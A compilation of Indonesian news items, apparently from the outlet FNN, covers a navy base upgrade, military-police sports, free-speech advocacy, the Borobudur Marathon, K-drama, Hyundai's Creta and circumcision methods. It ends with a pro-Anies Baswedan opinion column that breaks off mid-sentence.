Ternate, FNN - Pangkalan Angkatan Laut (Lanal) Ternate, Maluku Utara (Malut) menyatakan, TNI AL akan membangun Lanal Sanana sekaligus meningkatkan statusnya dari Pos Sanana menjadi Lanal tipe D pada tahun 2022. "Untuk tahun 2022, Pos Sanana akan ditingkatkan statusnya menjadi Lanal tipe D dan dipimpin oleh perwira berpangkat Mayor guna memberikan keamanan di wilayah perairan Sanana di bawah kendali Lantamal XIV TNI AL Sorong dan akan diresmikan Kasal TNI AL," kata Komandan Lanal Ternate, Kolonel Laut (P) Ashari S. Abidin,SE, M.Ter di Ternate, Sabtu. Menurut dia, di wilayah Malut sendiri telah ada dua Lanal yakni Lanal Ternate dan Lanal Pulau Morotai dan tahun 2022 nanti akan bertambah satu Lanal Sanana tipe D yang wilayahnya meliputi perairan Kabupaten Kepulauan Sula dan Pulau Taliabu. Sedangkan, untuk Pos Angkatan Laut (Posal) telah dibangun di Pulau Mayau, Pulau Gebe, Tobelo, Pulau Bacan serta Pulau Gebe. Oleh karena itu, kata Ashari, pihaknya akan perkuat seluruh jajaran personelnya untuk mengasah kemampuan dalam menjaga teritorial. Sebelumnya, pihaknya melakukan kegiatan yang diikuti oleh anggota Lanal Ternate ini dilaksanakan dalam rangka melatih dan membiasakan diri untuk menguasai alat selam, sehingga jika dibutuhkan mampu mengawaki dengan sempurna dan zero accident. Dia mengatakan, latihan yang diawali dengan pemanasan dan pengenalan alat oleh Serka Mes Anan Hi Mursal sekaligus sebagai pelatih selam yang sudah mempunyai sertifikat pelatih dan biasa melaksanakan bantuan pelatihan selam di wilayah Maluku Utara. Untuk itu, dia harapkan agar terus mencurahkan segenap ide, sebagai upaya dan tindakan untuk menjaga laut di wilayah kita dari segala gangguan dan kerusakan serta dapat mendorong masyarakat untuk menggunakan laut dengan sebaik-baiknya. Sedangkan, pada latihan ini, agar semangat dalam berlatih dan menekankan keselamatan dalam latihan. Kemampuan selam Prajurit TNI-AL sangat dibutuhkan untuk mendukung tugas operasi TNI AL termasuk juga melaksanakan tugas sosial dalam bentuk Operasi Militer Selain Perang. Danlanal agar prajurit-prajurit muda tersebut dapat segera menguasai kemampuan selam seperti seniornya sehingga mampu menjadi penyelam-penyelam andal di Lanal Ternate dan Malut. "Kegiatan latihan selam ini akan terus berlanjut dan dilaksanakan secara rutin sehingga Prajurit Lanal Ternate profesional menguasai dan menggunakan peralatan selam," ujarnya. Pada latihan kali ini, Lanal Ternate melibatkan sembilan orang Bintara dan Tamtama Remaja lulusan Satdik Sorong yang baru saja bergabung dengan Lanal Ternate. (sws)

Jajaran TNI/Polri di Malut Bangun Sinergi

Ternate, FNN - Jajaran TNI/Polri di Maluku Utara (Malut) menggelar olahraga bersama dalam rangka meningkatkan soliditas dan sinergitas antara kedua institusi itu dalam mengabdikan diri kepada bangsa dan Negara. Kabid Humas Polda Malut, Kombes Pol Adip Rojikan, di Ternate, Sabtu mengatakan bahwa ini merupakan wujud solidaritas TNI-Polri Maluku Utara dalam rangka mewujudkan Jumat sehat dan berkah. "Kegiatan ini akan kita tindaklanjuti dan dilaksanakan secara periode, sehingga TNI-Polri Malut semakin kompak dan solid dalam pengabdian kepada bangsa dan Negara," ujarnya. Kegiatan diawali dengan pemanasan yang dilanjutkan dengan beberapa penyampaian oleh Danrem 152/Babullah kemudian dilaksanakan olahraga lari pagi bersama dimulai dengan titik start Glora Kieraha sampai Finish Salero. Usai dilaksanakan olahraga bersama, dilanjutkan dengan permainan-permainan yang dapat menghibur sebagai bentuk menjalin kerja sama dalam permainan sepak bola, bola voli dan tenis meja di lapangan Salero Ternate. Sementara itu, Danrem 152/Baabullah Brigjen TNI Novi Rubadi Sugito dihubungi menyatakan, demi menjaga kebugaran dan meningkatkan imun di dalam tubuh prajurit yang berguna Untuk menangkal penyakit dari luar. Salah satunya yaitu dengan melaksanakan olahraga, dengan berolahraga secara teratur akan terhindar dari penyebaran penyakit termasuk virus COVID-19 dan tetap melaksanakan protokol kesehatan dengan memakai masker serta mencuci tangan. Kegiatan jalan santai ini merupakan salah satu cara mempererat tali silaturahmi agar saling mengenal dan lebih akrab lagi satu sama lain di luar tugas pokok masing-masing antara jajaran Korem 152/Baabullah dengan jajaran Polda Malut. Titik Star Stadion Kieraha Kota Ternate telah di laksanakan Olah raga bersama jalan santai TNI - Polri yang diselenggarakan oleh Korem 152/Baabullah dan Polda Malut. DImana, seluruh anggota melakukan senam peregangan yang dipimpin oleh anggota Jasmani Korem 152/Baabullah Serma Rumbaru, kemudian dilanjutkan olah raga jalan santai dengan rute dari Stadion Kieraha menuju lapangan salero Ternate, Malut. Sementara itu, Wakapolda Malut, Brigjen Pol Eko Para Setyo Siswanto menambahkan, Polda Malut mendukung kegiatan ini bisa olah raga bersama meningkatkan silaturahmi dan saling mengenal serta berharap ke depan juga diadakan kegiatan yang sifatnya seperti ini. Da menyebut, kegiatan menjadi hal yang sangat positif bagi kita semuanya apalagi di masa pandemi COVID-19 yang belum berakhir ini, tanpa kebersamaan tanpa kolaborasi dengan instansi terkait TNI-Polri dan Pemda mungkin tidak akan tercapai apa yang kita harapkan. Semua anggota Polri khususnya Polda Malut berharap bisa bersama-sama bergandeng tangan dengan rekan-rekan TNI, karena dirinya yakin TNI-Polri terus menguatkan apa yang mempunyai tugas tanggung jawab bersama. Kegiatan yang diikuti sekitar 150 orang personel TNI - Polri khususnya jajaran Korem 152/Baabullah dan Polda Malut dipimpin oleh Danrem 152/Baabullah Brigjen TNI Novi Rubadi Sugito dan Kapolda Malut diwakili oleh Wakapolda Brigjen Pol Drs Eko Para Setyo Siswanto. (sws)

ELSAM: Optimalkan Fungsi-Fungsi DPR untuk Jamin Kebebasan Berpendapat

Jakarta, FNN - Peneliti Lembaga Studi dan Advokasi Masyarakat (ELSAM) Miftah Fadhli merekomendasikan agar DPR RI mengoptimalkan fungsi-fungsi mereka, yaitu fungsi legislasi, penganggaran, dan pengawasan untuk meningkatkan jaminan kebebasan berpendapat di Indonesia. "Misalnya, kalau ada lembaga negara tertentu mengancam kebebasan berpendapat, DPR bisa mengoptimalkan fungsi pengawasan, seperti meminta klarifikasi atau konfirmasi terkait dengan kebijakan-kebijakan dari lembaga pemerintah," kata Mifah Fadhli. Mifah Fadhli mengemukakan hal itu dalam webinar nasional bertajuk Becoming a True Legislator: Peran Legislator dalam Menjamin Kebebasan Bersuara pada Saat Ini yang disiarkan langsung di kanal YouTube BPM FISIP Unpad, dipantau dari Jakarta, Sabtu. Melalui pengoptimalan ketiga fungsi itu, lanjut Miftah, DPR juga akan mampu memastikan undang-undang yang sedang disusun telah sesuai dengan aspirasi masyarakat dan prinsip-prinsip hak asasi manusia (HAM). Di samping pengoptimalan fungsi-fungsi DPR, Miftah pun merekomendasikan kepada pemerintah untuk mengevaluasi peraturan perundang-undangan yang eksesif dan menimbulkan efek ketakutan. Ia menilai masyarakat Indonesia sejauh ini cenderung merasa takut untuk menyampaikan kritik karena keberadaan Undang-Undang Informasi dan Transaksi Elektronik (ITE), khususnya pasal karet terkait pencemaran nama baik. "Survei dari Komnas HAM menyebutkan bahwa saat ini masyarakat makin takut menyampaikan kritik. Mereka takut kritik itu akan membuatnya dihukum berdasarkan UU ITE," katanya. Menurut Miftah, kondisi tersebut menyebabkan ekosistem demokrasi di Indonesia menjadi tidak sehat. Dengan demikian, sudah sepatutnya persoalan itu segera dievaluasi oleh Pemerintah dengan melibatkan partisipasi masyarakat sipil dan akademisi. Dalam webinar yang diselenggarakan Badan Perwakilan Mahasiswa (BPM) Fakultas Ilmu Sosial dan Ilmu Politik Universitas Padjadjaran itu, Miftah Fadhli juga merekomendasikan kepada berbagai lembaga ataupun organisasi untuk membuka ruang diskusi publik yang lebih luas. Melalui ruang diskusi yang meluas itu, lanjut dia, publik berkesempatan untuk menyampaikan kritik yang membangun dan tepat terkait dengan kebijakan pemerintah, bahkan bertukar ilmu pengetahuan. (sws)

BPIP Imbau Generasi Muda Berhati-Hati Pahami Konten Agama di Internet

Jakarta, FNN - Sekretaris Kepala Badan Pembinaan Ideologi Pancasila (BPIP) RI Achmad Uzair Fauzan mengimbau masyarakat, khususnya generasi muda, untuk berhati-hati memahami konten keagamaan di internet karena tidak semuanya tepat, bahkan ada yang mengandung radikalisme. "Dahulu kita mencari pemahaman keagamaan ke mimbar-mimbar pengajian, sekarang kita, para mahasiswa, mencarinya ke media sosial atau situs web. Ada banyak tokoh agama yang progresif, tetapi banyak juga yang patut diragukan pemahamannya. Jadi, kita harus berhati-hati," ujar Achmad Uzair Fauzan. Ia mengatakan hal itu ketika tampil sebagai narasumber dalam webinar nasional bertajuk Meningkatkan Kesadaran Bela Negara Melalui Pembentukan Karakter Pancasila pada Mahasiswa yang disiarkan langsung di kanal YouTube HMPE UNY, dipantau dari Jakarta, Sabtu. Menurut catatan Badan Nasional Penanggulangan Terorisme (BNPT), ada 9.000 situs web yang mengandung konten radikalisme. Padahal, tercatat 54,87 persen generasi muda mencari referensi keagamaan melalui internet. "Ada juga riset yang mengatakan bahwa hanya 10 persen dari dunia internet itu yang bisa diandalkan. Sebanyak 90 persen lainnya hoaks dan tidak bisa diverifikasi kebenarannya," katanya. Pada intinya, menurut Achmad Uzair, di satu sisi, kemajuan teknologi memang memberikan kesempatan luar biasa untuk mengakses beragam informasi. Akan tetapi, di sisi lain pengguna teknologi yang tidak mencari sumber secara tepat akan terjerumus pada pemahaman yang keliru. Oleh karena itu, catatan-catatan tersebut sudah sepatutnya menjadi peringatan bagi masyarakat Indonesia, khususnya generasi muda, untuk meningkatkan kewaspadaan dalam memahami konten-konten, terutama konten keagamaan yang disebarluaskan di internet. "Pihak yang menulis di situs web, blog, atau media sosial itu belum tentu berdasarkan pada sumber yang tepat," kata Achmad Uzair Fauzan. Untuk mengatasi persoalan itu, kata dia, salah satu hal yang penting untuk dilakukan masyarakat Indonesia adalah meningkatkan kecakapan dalam menggunakan media komunikasi. Mereka perlu “melek informasi”, yakni berkemampuan memperoleh informasi yang benar dan memang dibutuhkan secara cepat, tepat, mutakhir, dan lengkap. (sws)

Sekretaris Kepala BPIP: Mahasiswa Tulang Punggung Indonesia Maju 2045

Jakarta, FNN - Sekretaris Kepala Badan Pembinaan Ideologi Pancasila (BPIP) RI Achmad Uzair Fauzan mengatakan bahwa para mahasiswa merupakan tulang punggung untuk mewujudkan Indonesia Maju 2045. "Kalau kita bicara soal Indonesia Maju 2045, tulang punggungnya ada di kawan-kawan mahasiswa semua," ujar Achmad Uzair Fauzan. Ia mengemukakan hal itu pada webinar nasional bertajuk Meningkatkan Kesadaran Bela Negara Melalui Pembentukan Karakter Pancasila pada Mahasiswa yang disiarkan langsung di kanal YouTube HMPE UNY, dipantau dari Jakarta, Sabtu. Indonesia Maju 2045, lanjut Achmad Uzair, berkaitan erat dengan bonus demografi, yaitu kondisi ketika jumlah penduduk Indonesia didominasi mereka yang berusia produktif di antara 15 tahun dan 64 tahun. Secara teori, kata dia, ketika penduduk lebih didominasi oleh mereka yang berusia produktif dan aktif bekerja, akan lebih banyak pula penduduk berpenghasilan sehingga kesejahteraan dari segi ekonomi masyarakat di Indonesia berkemungkinan besar dapat meningkat. Dengan demikian, menurut Achmad Uzair, Indonesia berpotensi besar untuk menjadi negara maju pada tahun 2045 sehingga para mahasiswa sebagai penggerak transformasi sosial diharapkan mampu memaksimalkan peluang tersebut. Achmad Uzair juga menilai para mahasiswa merupakan bagian dari elite sosial. "Kawan-kawan mahasiswa adalah bagian dari elite sosial yang menjadi penggerak transformasi sosial, yakni penggerak agar masyarakat bertambah baik, lebih berpendidikan tinggi, dan makin sejahtera," kata Achmad Uzair. Ia memandang para mahasiswa merupakan sumbu serta pilar penting yang menentukan perjalanan bangsa dan negara Indonesia ke depannya. Namun, lanjut dia, potensi menuju Indonesia Maju 2045 belum teraktualisasikan seluruhnya karena bangsa Indonesia masih menghadapi beberapa tantangan. "Tantangan menuju Indonesia Maju 2045 bagi kita sebagai bangsa, di antaranya adalah perkembangan teknologi," ucapnya. Achmad Uzair Fauzan menilai masyarakat yang maju adalah mereka yang "melek informasi", yaitu mampu memperoleh informasi yang benar dan memang dibutuhkan secara cepat, tepat, mutakhir, dan lengkap. Oleh karena itu, lanjut dia, tantangan tersebut dapat dilalui dengan mengoptimalkan perkembangan teknologi informasi di Indonesia. Selain itu, dibutuhkan pula literasi dari pemerintah ataupun pihak terkait kepada masyarakat agar mereka memiliki kecakapan dalam penggunaan media teknologi komunikasi dan informasi. (sws)

Agus Prayogo dan Odekta Naibaho Juarai Borobudur Marathon 2021

Temanggung, FNN - Pelari nasional Agus Prayogo dan Odekta Naibaho menjuarai Borobudur Marathon 2021 yang digelar di Taman Lumbini kompleks Taman Wisata Candi Borobudur, Kabupaten Magelang, Jawa Tengah, Sabtu. Agus Prayogo yang turun pada kelas maraton putra dengan waktu 2.32.21, disusul Muhammad Ady Saputro (2.35.30), dan di urutan ketiga Iqbal Saputro (902.38.30) Kemudian di kelas maraton putri, Odekta Naibaho mencatat waktu 3.02.48, kemudian kedua Pretty Sihite (03.18.59) dan ketiga Irma Handayani (03.19.13). Dalam lomba maraton yang sempat diguyur hujan tersebut, Agus memecahkan rekornya sendiri pada PON Papua dengan waktu 2 jam 33 menit. Dengan prestasi tersebut, Agus mendapat bonus dari Gubernur Jateng Ganjar Pranowo senilai Rp10 juta. Dalam konferensi pers, Agus Prayogo mengakui untuk pertama kalinya ia mendapat medali emas untuk kategori maraton di Borobudur Marathon, karena sebelumnya berpartisipasi pada kategori half maraton. "Baru tahun ini saya putuskan untuk berpartisipasi mengikuti elite race, saya bersyukur situasi kondisi, terutama cuaca sangat mendukung sehingga raihan catatan waktu saya hari ini lebih bagus dari pada di PON Papua bulan lalu," ungkap Agus. Ia pun menuturkan jika sebelumnya Borobudur Marathon digelar dengan rute mengelilingi desa-desa di sekitar Candi Borobudur, namun kali ini, untuk kedua kalinya Borobudur dilaksanakan di kompleks Lumbini Candi Borobudur dengan sistem looping. "Hal ini menjadi tantangan tersendiri bagi atlet, rutenya looping 12 kali," kata Agus. Ia juga menyampaikan terima kasih pada penyelenggara Borobudur Marathon karena di tengah pandemi masih tetap berlangsung. Gubernur Jawa Tengah Ganjar Pranowo mengungkapkan ajang tersebut bisa menjadi tantangan, terutama mengenaipelaksanaan maupun pengelolaan kegiatan maraton di tengah pandemi. "Alhamdulillah, tahun ini lebih baik karena situasinya juga lebih baik. Kami mencoba merekayasa dari jalur yang mestinya keluar dari kawasan candi, sekarang muter-muter candi sampai 12 kali, mungkin akan bosan, tetapi saya melihat semangat dari para pelari bagus, bahkan Agus bisa pecahkan rekor PON Papua," tutur Ganjar. (mth)

Mengulas Empat Profesi Menarik Song Hye Kyo di K-Drama

Jakarta, FNN - Menjelang usia 40 tahun, aktris Korea Song Hye Kyo tak kehilangan sinarnya. Popularitasnya sudah sampai ke negara-negara Asia lain, seperti Jepang dan China, bahkan Eropa. Dan salah satu drama Song Hye Kyo yang sedang trending saat ini adalah "Now We Are Breaking Up". Seri itu pun tayang di Indonesia lewat platform menonton daring Viu. Sejak pemutaran episode awal di Viu, "Now We Are Breaking Up" bertengger dalam puncak trending topic selama beberapa jam, menandakan drama ini menyedot perhatian sangat besar dari pecinta K-drama di Indonesia. Di Korea, drama ini juga memiliki rating yang sangat kuat, Song Hye Kyo adalah salah satu magnet kuat dari drama ini. Karena begitu mendalami karakter yang ia perankan untuk sebuah drama, saat syuting drama selama beberapa bulan, ia merasa hidup sebagai karakter tersebut. Ia seolah tidak punya waktu untuk hidup sebagai Song Hye Kyo. Dalam K-drama lainnya ia memerankan beberapa karakter dengan profesi yang menarik. Mengutip siaran pers Viu, Sabtu, berikut empat di antaranya: Dokter Bedah "Descendants of the Sun" merupakan salah satu drama paling sukses yang pernah diproduksi. Song Hye Kyo mengambil bagian di dalamnya sebagai Kang Mo Yeon, dokter bedah di Haesung Hospital. Dokter yang tangguh dan asertif ini percaya bahwa kompetensi lebih penting daripada koneksi. Ia teguh pada pendiriannya, tidak mudah terpengaruh oleh emosi, dan tidak gengsi untuk mengakui kesalahan. Suatu ketika ia ditugaskan ke medan perang dan bertemu Yoo Shi Jin (Song Joong Ki), kepala pasukan tentara khusus yang sempat dikira bos penjahat oleh Mo Yeon. Mereka pun saling jatuh hati. Tapi, karena Shi Jin bekerja di medan perang dengan segala risikonya, Mo Yeon menyangkal perasaannya sendiri hingga menolak cinta Shi Jin sampai tiga kali. Namun, takdir mempertemukan mereka kembali. Mo Yeon ditugaskan sebagai pimpinan tim medis di Urk, sementara Shi Jin ditugaskan untuk menjaga keamanan di sana. Apakah kali ini tugas mulia yang mereka emban akan mempersatukan cinta keduanya? Produser Drama Tak hanya menyuguhkan tentang kisah cinta, "Worlds Within" juga bercerita tentang perjuangan perempuan agar bisa diakui di industri perfilman yang didominasi oleh laki-laki. Ceritanya, enam bulan sebelumnya Joo Joon Young yang diperankan Song Hye Kyo baru menyelesaikan tugas berat sebagai asisten produser. Dua drama pendek yang dia produksi baru-baru ini mendapatkan rating tinggi dan kritik yang bagus. Ia mendapatkan penghargaan di ajang festival drama di luar negeri, sehingga kemudian ia jadi produser yang cukup dikenal. Joon Young adalah gadis yang blak-blakan, punya yang passion tinggi terhadap dunia film, tegas, dan tenang. Kadang kala Jung Ji Oh (Hyun Bin), sutradara senior yang baik dan sabar, dibuat pusing oleh sifatnya yang keras kepala. Selain itu, Joon Young dididik untuk jadi orang yang tidak gampang percaya pada orang lain. Joon Young dan Ji Oh sempat berpacaran semasa kuliah, tapi kemudian putus. Beberapa tahun kemudian mereka berdua dipertemukan kembali di sebuah program acara. Apakah kemudian bisa tetap bersikap profesional dalam melakoni pekerjaan, saat konflik cinta di antara mereka terus menghalangi? Chief Executive Officer (CEO) Drama "Encounter" menandai kembalinya Hye Kyo ke dunia seni peran, setelah pernikahannya yang heboh dengan Joong Ki. Di serial ini ia berperan sebagai Cha Soo Hyun, seorang anak politikus ternama yang kaya raya. Demi memuluskan jalan ayahnya di dunia politik, ia dijodohkan dengan anak orang kaya. Tapi, karena suaminya berselingkuh, ia memilih untuk bercerai dan melajang lagi.Soo Hyun mendapatkan harta gono-gini berupa Hotel Donghwa yang sudah tua. Momen ini menjadi titik balik dalam hidupnya. Jika biasanya hidup Soo Hyun diatur oleh banyak orang, termasuk ayah dan mantan suaminya, perlahan-lahan ia mulai mengambil alih kendali atas hidupnya sendiri. Ia putuskan untuk mengelola hotel yang dulu dimiliki oleh mertuanya itu secara profesional. Sebagai CEO Hotel Donghwa, ia terbilang berhasil. Sebab, ia membawa hotel tua itu jadi hotel terkenal yang diminati banyak tamu. Soo Hyun sendiri bertransformasi menjadi leader yang disegani di dunia perhotelan. Kalau tadinya ia jadi selebriti karena ayahnya terkenal, ia kemudian membangun nama besarnya sendiri. Fashion Designer Song Hye Kyo akan membuat Anda terhibur lewat drama terbarunya, "Now, We Are Breaking Up" dengan berperan sebagai Ha Young Eun. Ia bekerja sebagai manajer tim desain di perusahaan fashion ternama, The One, memimpin satu departemen berisi sejumlah designer yang lebih junior. Karena bergelut di industri fashion, ia selalu tampil modis. Tidak mewah, tapi fashionable. Hye Kyo bercerita, ia akan menunjukkan kepada penonton imej karakter Young Eun yang sesungguhnya, Young Eun diceritakan cinta sekali kepada pekerjaannya. Ia selalu menunjukkan profesionalitas dan totalitas dalam bekerja. Posisi karier yang bagus bukan ia dapatkan karena pertemanan dengan anak CEO The One, melainkan berkat kecerdasan dan kerja kerasnya. Ia selalu berusaha mengeluarkan kemampuan terbaiknya. Dalam menjalani pekerjaan sehari-hari, ia cukup sering bertemu seorang fotografer freelance, Yoon Jae Kook (Jang Ki Yong), yang dipekerjakan oleh The One. Cinta di antara keduanya pun tumbuh, tapi perjalanannya tentu tidak mudah. (mth)

Hyundai Tidak Siapkan Creta Opsi Tujuh Penumpang

Jakarta, FNN - Hyundai Motors Indonesia tidak berencana merilis sport utility vehicle (SUV) Hyundai Creta dengan opsi tujuh penumpang karena mereka meyakini bahwa mobil dengan konfigurasi lima penumpang memiliki pasar yang besar di Indonesia. "Segmen SUV yang lima penumpang itu besar," kata Chief Operating Officer PT Hyundai Motors Indonesia, Makmur, Jumat (26/11). "Kami fokus ke 5-seater karena memang marketnya sangat besar. Jadi misalnya, konsumen yang di rumah sudah punya mobil 7-seater, mereka akan mencari lagi yang lima penumpang," tambah Makmur. Makmur menjelaskan, Creta yang diproduksi pabrik Hyundai Indonesia telah mendapatkan sambutan baik dari konsumen pada pemeran otomotif GIIAS ​​​​​. Mobil bermesin 1.500cc MPI itu mampu membukukan surat pesanan (SPK) sebanyak 670 unit pada debutnya pada pameran itu. "Ini produk pertama kami dan dapat sambutan baik di GIIAS. Ini fantastis," kata Makmur, menambahkan bahwa produk terlaris kedua mereka di GIIAS adalah Palisade sebanyak 420 SPK kemudian mobil listrik Kona dan Ioniq sebanyak 100 unit. Hyundai Creta dijual dengan harga mulai Rp279 juta hingga tipe tertinggi Rp399 juta. Makmur meyakini harga tersebut telah sesuai dengan kelengkapan fitur yang ditawarkan Hyundai Creta untuk konsumen di segmen SUV. Makmur menjelaskan, Hyundai menghadirkan teknologi inovatif Bluelink berupa layanan mobil terkoneksi yang memungkinkan pelanggan untuk selalu terhubung dengan mobil mereka melalui smartphone. Hyundai Bluelink memberikan akses penuh kepada pemilik Creta untuk fitur-fitur penting, seperti mengetahui kondisi kendaraan saat ini, menghidupkan atau mematikan mesin, mengatur suhu kabin, mengunci atau membuka kunci pintu, hingga mengetahui di mana kendaraan diparkir dan mendeteksi apabila terjadi pencurian. (mth)

Hal yang Perlu Diketahui tentang Sunat, Metode dan Kontrol Setelahnya

Jakarta, FNN - Sirkumsisi atau sunat sebagai tindakan medis membuang kulum yang biasanya menutupi glans penis menjadi saran para pakar kesehatan salah satunya untuk menghindarkan seorang anak lelaki terkena berbagai penyakit salah satunya infeksi saluran kemih (ISK). Data dari Saudi Urological Association mengungkapkan sekitar 30 persen laki-laki di dunia dan 35 persen pria di negara berkembang telah disunat. Dari sisi metode, kini dikenal berbagam cara dalam tindakan sunat mulai dari konvensional, laser, stapler dan klem dengan kelebihan dan kekurangannya masing-masing. Namun dari metode yang ada, laser seringkali menjadi menimbulkan masalah. Dokter spesialis bedah umum dari Ikatan Ahli Bedah Indonesia, dr. Asrul Muhadi, Sp.B mengatakan, laser yang sebenarnya memanfaatkan energi cahaya, namun yang justru terjadi energi panas yang digunakan. Menurut Asrul yang lulusan dari Universitas Hasanuddin itu, penggunakan laser dengan energi panas berbahaya karena uretra atau tempat keluarnya urin maka bisa menyebabkan kecacatan seumur hidup bagi pasien. "Bisa menyempit dan mengeras, sepanjang hidup tidak bisa diperbaiki. Kalau metode konnvensional bisa dikoreksi. Makanya WHO menyatakan, melakukan (tindakan sunat) harus dilakukan ahli," kata dia dalam sebuah webinar, dikutip Sabtu. Menurut Badan POM Amerika Serikat (FDA), laser merupakan light amplication by the stimulated emission on radiation. Laser medis yakni alat yang menyimpan energi dari berbagai bentuk baik elektrik, kimia maupun optikal yang dikeluarkan dalam bentuk energi cahaya. Tetapi ada salah kaprah tentang pemaknaan istilah laser dalam sirkumsisi yang ternyata kauter. Sunat laser tidak menggunakan energi cahaya namun menggunakan energi panas dengan menggunakan alat elektrokauter untuk memotong jaringan, koagulasi dan diseksi. "Bayangin saja kalau jaringan dipanaskan, langsung hangus, hitam. Seumur hidup orang akan cacat. Penis teramputasi karena sunat panas. Tidak ada laser pada sirkumsisi, yang ada kauter," tutur Asrul. Pada penggunaan kauter atau sunat laser, arus listrik langsung menuju penis dan jaringan penis. Bila preputium atau kalup penis dipotong dengan kauter, maka dapat terjadi total phallic loss atau gangguan saraf yang parah akibat adanya kontak antara kauter dan clamp. Terkait laser, dokter spesialis bedah saraf dari Universitas Indonesia, dr. Mahdian Nur Nasution, Sp.BS juga sependapat dengan Asrul. Founder Rumah Sunat dr. Mahdian itu mengatakan, dalam sunat, bukan sinar laser yang dipakai. Menurut dia, khitan laser menggunakan lempengan logam yang dipanaskan. yang dapat menyebabkan luka bakar, amputasi dan berdampak pada kecacatan pada pasien. Dibandingkan laser dan lainnya, dia menyarankan metode klem untuk mencegah infeksi silang. Organisasi Kesehatan Dunia (WHO) juga merekomendasikan klem sebagai solusi sunat modern. Menurut Mahdian, metode klem menggunakan prinsip seperti penjepit pada tali pusar bayi. Keuntungan metode ini antara lain pasien bisa segera kembali beraktivitas termasuk bepergian tanpa menunggu tiga hari terlebih dulu. "Dulu harus dijahit sekarang tidak lagi. Dulu tidak boleh pakai celana, tidak bisa mandi 3 hari sekarang sudah bebas, habis sunat bisa jalan-jalan," tutur dia. Mahdian memperkenalkan sunat menggunakan alat produksi sendiri, bernama Mahdian Klem. Alat ini mulai digunakan pada 2014 setelah mengantongi izin edar dari Kementerian Kesehatan. Alat klem Mahdian terdiri dari 3 komponen yakni tabung bening sebagai tempat saluran kemih, badan klem dan pengunci. Keunggulan klem ini yakni semua komponen terbuat dari material polikarbonat transparan sehingga bisa terlihat bila ada sisa urin di glans penis, kemudian tersedia sistem pengunci kokoh agar tetap stabil pasien khususnya anak saat beraktivitas. Mahdian mengatakan, pemakaian alat ini relatif mudah, tanpa jahitan dan risiko perdarahan kecil karena semua pembuluh darah sudah tertutup dengan klem. "Tidak ada terjadi infeksi karena infeksi terjadi saat luka terbuka, proses sunat 7 menit karena tidak pakai proses jahit, alat ini terjamin sterilitasnya. Pemasangan dan pelepasan cepat karena minimum nyeri," tutur dia. Saran Disunat Dini dan Tips Usai Tindakan Kepala Komunikasi Gugus Tugas Percepatan Penanganan COVID-19 Indonesia, dr. Reisa Broto Asmoro menyarankan laki-laki bisa disunat dini, antara lain demi menghindari berbagai komplikasi yang muncul termasuk yang paling sering ISK. Reisa sendiri sudah menyunat anak lelakinya saat masih bayi. Kini, putranya tumbuh dengan baik. Selain menghindari masalah kesehatan, disunat dini juga mencegah munculnya drama yang bisa berakhir trauma bagi anak. Kemudian, sebelum tindakan, orang tua perlu memastikan anak dan diri mereka siap secara mental. Menurut dia, sunat bukan seperti halnya tindakan operasi besar. Pemilihan teknik-teknik yang aman diperlukan sehingga tidak memerlukan persiapan yang berlebihan. Luka usai sunat perlu rutin dibersihkan, sembari tetap memberikan anak asupan makanan bergizi. Perhatikan juga beberapa jenis obat yang tidak boleh dikonsumsi apalagi bila menggunakan sunat konvensional karena bisa menyebabkan perdarahan untuk jangka waktu lebih lama. Reisa mengatakan, perawatan usai tindakan sunat juga diperlukan, begitu juga dengan kenyamanan anak. Sebaiknya tanyakan pada dokter, hal-hal apa saja yang perlu dilakukan dalam perawatan usai sunat. sehingga orang tua tidak perlu khawatir lagi saat membersihkan luka anak di rumah. "Merawat luka butuh perhatian khusus. Saya benar-benar detil memberi obat supaya tidak ada komplikasi. Perhatikan alergi-alergi obat pada anak. Jadi harus tahu cara yang baik, ditemani, cara membersihkan yang benar. Harus tahu kapan dibukanya," tutur Reisa. Terkait risiko sunat, dr. Reisa mengatakan, meski bermanfaat bagi kesehatan, prosedur sunat tetap memiliki beberapa risiko antara lain perdarahan terutama pada mereka yang memiliki gangguan pembekuan darah, infeksi, gangguan saluran kemih, kulit kulup mungkin terpotong terlalu pendek atau terlalu panjang dan sisa kulup dapat menempel kembali ke ujung penis. Tetapi sebenarnya hal ini bisa diantisipasi bila metode yang digunakan tepat dan dilakukan di tempat yang seharusnya demi menghindari komplikasi termasuk infeksi setelah tindakan dan luka tak kunjung sembuh. Reisa menyarankan anak segera dibawa ke dokter atau ke instalasi gawat darurat (IGD) apabila mengalami perdarahan yang sulit berhenti, keluar cairan bernanah atau berbau busuk dari ujung penis, proses buang air kecil (BAK) masih terganggu hingga beberapa minggu setelah disunat. Kondisi lainnya yakni penis masih bengkak 2 minggu setelah disunat dan demam. Jadi, selain metode yang tepat, kontrol usai dilakukannya tindakan juga penting untuk menghindari dampak atau komplikasi luka sunat, mencegah perdarahan dan infeksi saluran kemih. Di sisi lain, melakukan kontrol pasca tindakan juga merupakan kewajiban utama dokter sebagai bagian dalam menegakkan etik non maleficence "do no harm" demi menghindarkan pasien dari bahaya. (mth)

Jejak Anies Menguat Menuju Presiden Pilihan Rakyat

Oleh: Yusuf Blegur Bergeser dan menyimpangnya perjalanan demokrasi di Indonesia bukan saja membentuk sistem demokrasi yang mengusung pemilu yang kapitalistik transaksional. Mekanisme pemilihan langsung yang awalnya merepresentasikan kedaulatan rakyat, seiring waktu hanya melahirkan pemimpin dan kebijakan politik yang tersandera kekuatan liberal dan sekuler. Pemimpin dan birokrasi tak berdaya di bawah kekuasan partai politik dan kekuatan oligarki. Konsitusi direkayasa sedemikian rupa, menghasilkan undang-undang yang justru membajak negara dari kedaulatan rakyat yang sesungguhnya. Anies Rasyid Baswedan adalah sosok yang unik. Lahir dan tumbuh besar dari kalangan keluarga pendidik. Anies yang sempat lama mengenyam pendidikan di Amerika merupakan seorang pemimpin yang komplit. Akademisi yang memiliki trah pahlawan nasional. Terbentuk dari struktur sosial dan keagamaan yang kuat. Ia juga menyerap nilai-nilai demokrasi yang mengembangkan prinsip-prinsip kesetaraan dan keberagaman. Anies seorang muslim yang inklusif sekaligus berjiwa demokrat dan pluralis. Proses pembelajaran dan pengalaman itu semakin mengokohkan Figur Anies yang selalu berada di tengah. Menjadi salah satu pemimpin yang konsisten menjaga keharmonisan peradaban. Menjaga keseimbangan pendulum ideologi agar tidak miring, berat sebelah dan doyong ekstrim. Tidak terlalu atau condong berlebihan ke kiri maupun kanan. Hal ini penting untuk tetap menempatkan figur Anies berada diatas kepentingan aliran politik dan ideologi tertentu. Anies penting dan strategis untuk setia dan loyal menghidupkan kebangsaan. Bukan pada golongan atau agama tertentu. Anies idealnya dapat menjadi pemimpin bagi semua suku, agama, ras dan antar 